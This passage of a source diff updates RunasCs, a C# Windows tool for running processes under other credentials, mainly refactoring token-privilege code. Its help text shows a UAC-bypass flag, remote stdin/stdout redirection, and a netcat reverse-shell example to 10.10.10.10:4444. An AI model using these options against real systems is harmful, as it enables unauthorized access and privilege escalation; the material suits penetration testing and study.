Attributes; + } + + public struct TOKEN_PRIVILEGES + { + public int PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 64)] + public LUID_AND_ATTRIBUTES[] Privileges; + } + private static string convertAttributeToString(UInt32 attribute){ if(attribute == 0) return "Disabled"; @@ -1364,24 +1513,7 @@ private static string convertAttributeToString(UInt32 attribute){ return "Error"; } - private static string EnablePrivilege(string privilege, IntPtr token) - { - string output = ""; - LUID sebLuid = new LUID(); - TOKEN_PRIVILEGES_2 tokenp = new TOKEN_PRIVILEGES_2(); - tokenp.PrivilegeCount = 1; - LookupPrivilegeValue(null, privilege, ref sebLuid); - tokenp.Luid = sebLuid; - tokenp.Attributes = SE_PRIVILEGE_ENABLED; - if (!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)) - { - throw new RunasCsException("AdjustTokenPrivileges on privilege " + privilege + " failed with error code: " + Marshal.GetLastWin32Error()); - } - output += "\r\nAdjustTokenPrivileges on privilege " + privilege + " succeeded"; - return output; - } - - public static List getTokenPrivileges(IntPtr tHandle){ + public static List GetTokenPrivileges(IntPtr tHandle){ List privileges = new List(); uint TokenInfLength=0; bool Result; @@ -1389,10 +1521,9 @@ public static List getTokenPrivileges(IntPtr tHandle){ Result = GetTokenInformation(tHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, TokenInfLength, out TokenInfLength); IntPtr TokenInformation = Marshal.AllocHGlobal((int)TokenInfLength) ; Result = GetTokenInformation(tHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, TokenInformation, TokenInfLength, out TokenInfLength) ; - if (Result == false){ - throw new RunasCsException("GetTokenInformation failed with error code " + Marshal.GetLastWin32Error()); - } - TOKEN_PRIVILEGES TokenPrivileges = ( TOKEN_PRIVILEGES )Marshal.PtrToStructure( TokenInformation , typeof( TOKEN_PRIVILEGES ) ) ; + if (Result == false) + throw new RunasCsException("GetTokenInformation", true); + TOKEN_PRIVILEGES TokenPrivileges = (TOKEN_PRIVILEGES)Marshal.PtrToStructure( TokenInformation , typeof( TOKEN_PRIVILEGES ) ) ; for(int i=0;i getTokenPrivileges(IntPtr tHandle){ LookupPrivilegeName(null, ptrLuid, null, ref luidNameLen); // call once to get the name len sb.EnsureCapacity(luidNameLen + 1); Result = LookupPrivilegeName(null, ptrLuid, sb, ref luidNameLen);// call again to get the name - if (Result == false){ - throw new RunasCsException("LookupPrivilegeName failed with error code " + Marshal.GetLastWin32Error()); - } + if (Result == false) + throw new RunasCsException("LookupPrivilegeName", true); privilegeStatus[0]=sb.ToString(); privilegeStatus[1]=convertAttributeToString(TokenPrivileges.Privileges[i].Attributes); privileges.Add(privilegeStatus); @@ -1414,23 +1544,33 @@ public static List getTokenPrivileges(IntPtr tHandle){ return privileges; } - public static bool IsLimitedUACToken(IntPtr hToken) { - bool filtered = false; - int TokenInfLength = 0; - bool Result; - // first call gets lenght of TokenInformation - Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, IntPtr.Zero, TokenInfLength, out TokenInfLength); - IntPtr tokenElevationPtr = Marshal.AllocHGlobal(TokenInfLength); - // then calls retrieving the reuired value - Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, tokenElevationPtr, TokenInfLength, out TokenInfLength); - if (Result) - { - TOKEN_ELEVATION tokenElevation = (TOKEN_ELEVATION)Marshal.PtrToStructure(tokenElevationPtr, typeof(TOKEN_ELEVATION)); - if (tokenElevation.TokenIsElevated == 0) - filtered = true; - } - Marshal.FreeHGlobal(tokenElevationPtr); - return filtered; + public static bool IsFilteredUACToken(IntPtr hToken) { + bool tokenIsFiltered = false; + int tokenInfLength = 0; + // GetTokenInformation(TokenElevation) does not return true in all cases, e.g. when having an High IL token with SeImpersonate privilege + if (GetTokenIntegrityLevel(hToken) >= IntegrityLevel.High) + return false; + GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, IntPtr.Zero, tokenInfLength, out tokenInfLength); + IntPtr tokenElevationPtr = Marshal.AllocHGlobal(tokenInfLength); + if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevation, tokenElevationPtr, tokenInfLength, out tokenInfLength)) + throw new RunasCsException("GetTokenInformation TokenElevation", true); + TOKEN_ELEVATION tokenElevation = (TOKEN_ELEVATION)Marshal.PtrToStructure(tokenElevationPtr, typeof(TOKEN_ELEVATION)); + if (tokenElevation.TokenIsElevated > 0) { + tokenIsFiltered = false; + Marshal.FreeHGlobal(tokenElevationPtr); + } + else { + tokenInfLength = 0; + GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevationType, IntPtr.Zero, tokenInfLength, out tokenInfLength); + IntPtr tokenElevationTypePtr = Marshal.AllocHGlobal(tokenInfLength); + if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenElevationType, tokenElevationTypePtr, tokenInfLength, out tokenInfLength)) + throw new RunasCsException("GetTokenInformation TokenElevationType", true); + TOKEN_ELEVATION_TYPE tokenElevationType = (TOKEN_ELEVATION_TYPE)Marshal.PtrToStructure(tokenElevationTypePtr, typeof(TOKEN_ELEVATION_TYPE)); + if (tokenElevationType.TokenElevationType == 3) // 3 = TokenElevationTypeLimited + tokenIsFiltered = true; + Marshal.FreeHGlobal(tokenElevationTypePtr); + } + return tokenIsFiltered; } // thanks @winlogon0 --> https://github.com/AltF5/MediumToHighIL_Test/blob/main/TestCode2.cs @@ -1446,17 +1586,17 @@ public static bool SetTokenIntegrityLevel(IntPtr hToken, IntegrityLevel integrit authoritySid.Value = MANDATORY_LABEL_AUTHORITY; pLabelAuthorityStruct = Marshal.AllocHGlobal(Marshal.SizeOf(authoritySid)); Marshal.StructureToPtr(authoritySid, pLabelAuthorityStruct, false); - bool success = AllocateAndInitializeSid(pLabelAuthorityStruct, 1, (int)integrity, 0, 0, 0, 0, 0, 0, 0, out pSID); + bool result = AllocateAndInitializeSid(pLabelAuthorityStruct, 1, (int)integrity, 0, 0, 0, 0, 0, 0, 0, out pSID); tokenLabel.Label.pSID = pSID; tokenLabel.Label.Attributes = TokenGroupAttributes.SE_GROUP_INTEGRITY; labelSize = Marshal.SizeOf(tokenLabel); pLabel = Marshal.AllocHGlobal(labelSize); Marshal.StructureToPtr(tokenLabel, pLabel, false); - success = SetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, pLabel, labelSize); + result = SetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, pLabel, labelSize); Marshal.FreeHGlobal(pLabel); Marshal.FreeHGlobal(pSID); Marshal.FreeHGlobal(pLabelAuthorityStruct); - if (!success) + if (!result) throw new RunasCsException("[!] Failed to set the token's Integrity Level: " + integrity.ToString()); else ret = true; @@ -1497,6 +1637,23 @@ public static IntegrityLevel GetTokenIntegrityLevel(IntPtr hToken) return illevel; } + public static string EnablePrivilege(string privilege, IntPtr token) + { + string output = ""; + LUID sebLuid = new LUID(); + TOKEN_PRIVILEGES_2 tokenp = new TOKEN_PRIVILEGES_2(); + tokenp.PrivilegeCount = 1; + LookupPrivilegeValue(null, privilege, ref sebLuid); + tokenp.Luid = sebLuid; + tokenp.Attributes = SE_PRIVILEGE_ENABLED; + if (!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)) + { + throw new RunasCsException("AdjustTokenPrivileges on privilege " + privilege, true); + } + output += "\r\nAdjustTokenPrivileges on privilege " + privilege + " succeeded"; + return output; + } + public static string EnableAllPrivileges(IntPtr token) { string output = ""; @@ -1512,24 +1669,24 @@ public static string EnableAllPrivileges(IntPtr token) public static class RunasCsMainClass { - private static string help = @" -RunasCs v1.4 - @splinter_code + private static readonly string help = @" +RunasCs v1.5 - @splinter_code Usage: - RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--create-profile] [--bypass-uac] + RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation] Description: RunasCs is an utility to run specific processes under a different user account by specifying explicit credentials. In contrast to the default runas.exe command - it supports different logon types and crateProcess functions to be used, depending + it supports different logon types and CreateProcess* functions to be used, depending on your current permissions. Furthermore it allows input/output redirection (even to remote hosts) and you can specify the password directly on the command line. Positional arguments: username username of the user password password of the user - cmd command supported by cmd.exe if process_timeout>0 - commandline for the process if process_timeout=0 + cmd commandline for the process + Optional arguments: -d, --domain domain domain of the user, if in a domain. @@ -1542,46 +1699,46 @@ function automatically according to your privileges. 1 - CreateProcessWithTokenW 2 - CreateProcessWithLogonW -l, --logon-type logon_type - the logon type for the spawned process. - Default: ""8"" - NetworkCleartext - -r, --remote host:port - redirect stdin, stdout and stderr to a remote host. - Using this option sets the process timeout to 0. + the logon type for the token of the new process. + Default: ""2"" - Interactive -t, --timeout process_timeout the waiting time (in ms) for the created process. This will halt RunasCs until the spawned process ends and sent the output back to the caller. - If you set 0 no output will be retrieved and cmd.exe - won't be used to spawn the process. + If you set 0 no output will be retrieved and a + background process will be created. Default: ""120000"" - -p, --create-profile - if this flag is specified RunasCs will force the - creation of the user profile on the machine. + -r, --remote host:port + redirect stdin, stdout and stderr to a remote host. + Using this option sets the process_timeout to 0. + -p, --force-profile + force the creation of the user profile on the machine. This will ensure the process will have the environment variables correctly set. - NOTE: this will leave some forensics traces - behind creating the user profile directory. - Compatible only with -f flags: - 1 - CreateProcessWithTokenW - 2 - CreateProcessWithLogonW + WARNING: If non-existent, it creates the user profile + directory in the C:\Users folder. -b, --bypass-uac - if this flag is specified RunasCs will try a UAC - bypass to spawn a process without token limitation - (not filtered). + try a UAC bypass to spawn a process without + token limitations (not filtered). + -i, --remote-impersonation + spawn a new process and assign the token of the + logged on user to the main thread. Examples: - Run a command as a specific local user - RunasCs.exe user1 password1 whoami - Run a command as a specific domain user and interactive logon type (2) - RunasCs.exe user1 password1 whoami -d domain -l 2 - Run a background/async process as a specific local user, - RunasCs.exe user1 password1 ""%COMSPEC% powershell -enc..."" -t 0 + Run a command as a local user + RunasCs.exe user1 password1 ""cmd /c whoami /all"" + Run a command as a domain user and logon type as NetworkCleartext (8) + RunasCs.exe user1 password1 ""cmd /c whoami /all"" -d domain -l 8 + Run a background process as a local user, + RunasCs.exe user1 password1 ""C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe"" -t 0 Redirect stdin, stdout and stderr of the specified command to a remote host - RunasCs.exe user1 password1 cmd.exe -r 10.10.10.24:4444 + RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444 Run a command simulating the /netonly flag of runas.exe - RunasCs.exe user1 password1 whoami -d domain -l 9 + RunasCs.exe user1 password1 ""cmd /c whoami /all"" -l 9 Run a command as an Administrator bypassing UAC - RunasCs.exe adm1 password1 ""whoami /priv"" --bypass-uac + RunasCs.exe adm1 password1 ""cmd /c whoami /priv"" --bypass-uac + Run a command as an Administrator through remote impersonation + RunasCs.exe adm1 password1 ""cmd /c echo admin > C:\Windows\admin"" -l 8 --remote-impersonation "; // .NETv2 does not allow dict initialization with values. Therefore, we need a function :( @@ -1684,20 +1841,17 @@ private static int ValidateCreateProcessFunction(string function) private static int DefaultCreateProcessFunction() { int createProcessFunction = 2; - IntPtr currentTokenHandle = System.Security.Principal.WindowsIdentity.GetCurrent().Token; - + IntPtr currentTokenHandle = WindowsIdentity.GetCurrent().Token; List privs = new List(); - privs = AccessToken.getTokenPrivileges(currentTokenHandle); - + privs = AccessToken.GetTokenPrivileges(currentTokenHandle); bool SeAssignPrimaryTokenPrivilegeAssigned = false; bool SeImpersonatePrivilegeAssigned = false; - foreach (string[] s in privs) { string privilege = s[0]; - if(privilege == "SeAssignPrimaryTokenPrivilege") + if(privilege == "SeAssignPrimaryTokenPrivilege" && AccessToken.GetTokenIntegrityLevel(currentTokenHandle) >= AccessToken.IntegrityLevel.Medium) SeAssignPrimaryTokenPrivilegeAssigned = true; - if(privilege == "SeImpersonatePrivilege") + if(privilege == "SeImpersonatePrivilege" && AccessToken.GetTokenIntegrityLevel(currentTokenHandle) >= AccessToken.IntegrityLevel.High) SeImpersonatePrivilegeAssigned = true; } if (SeAssignPrimaryTokenPrivilegeAssigned) @@ -1705,26 +1859,24 @@ private static int DefaultCreateProcessFunction() else if (SeImpersonatePrivilegeAssigned) createProcessFunction = 1; - return createProcessFunction; } public static string RunasCsMain(string[] args) { - string output = ""; if (args.Length == 1 && HelpRequired(args[0])) { Console.Out.Write(help); return ""; } - + string output = ""; List positionals = new List(); string username, password, cmd, domain; username = password = cmd = domain = string.Empty; string[] remote = null; uint processTimeout = 120000; - int logonType = 8, createProcessFunction = DefaultCreateProcessFunction(); - bool createUserProfile = false, bypassUac = false; + int logonType = 2, createProcessFunction = DefaultCreateProcessFunction(); + bool forceUserProfileCreation = false, bypassUac = false, remoteImpersonation = false; try { for(int ctr = 0; ctr < args.Length; ctr++) { @@ -1757,8 +1909,8 @@ public static string RunasCsMain(string[] args) break; case "-p": - case "--create-profile": - createUserProfile = true; + case "--force-profile": + forceUserProfileCreation = true; break; case "-b": @@ -1766,6 +1918,11 @@ public static string RunasCsMain(string[] args) bypassUac = true; break; + case "-i": + case "--remote-impersonation": + remoteImpersonation = true; + break; + default: positionals.Add(args[ctr]); break; @@ -1791,7 +1948,7 @@ public static string RunasCsMain(string[] args) RunasCs invoker = new RunasCs(); try { - output = invoker.RunAs(username, password, cmd, domain, processTimeout, logonType, createProcessFunction, remote, createUserProfile, bypassUac); + output = invoker.RunAs(username, password, cmd, domain, processTimeout, logonType, createProcessFunction, remote, forceUserProfileCreation, bypassUac, remoteImpersonation); } catch(RunasCsException e) { invoker.CleanupHandles(); output = String.Format("{0}", e.Message); @@ -1801,9 +1958,12 @@ public static string RunasCsMain(string[] args) } } -class MainClass{ +class MainClass +{ static void Main(string[] args) { Console.Out.Write(RunasCsMainClass.RunasCsMain(args)); + Console.Out.Flush(); } -} \ No newline at end of file +} +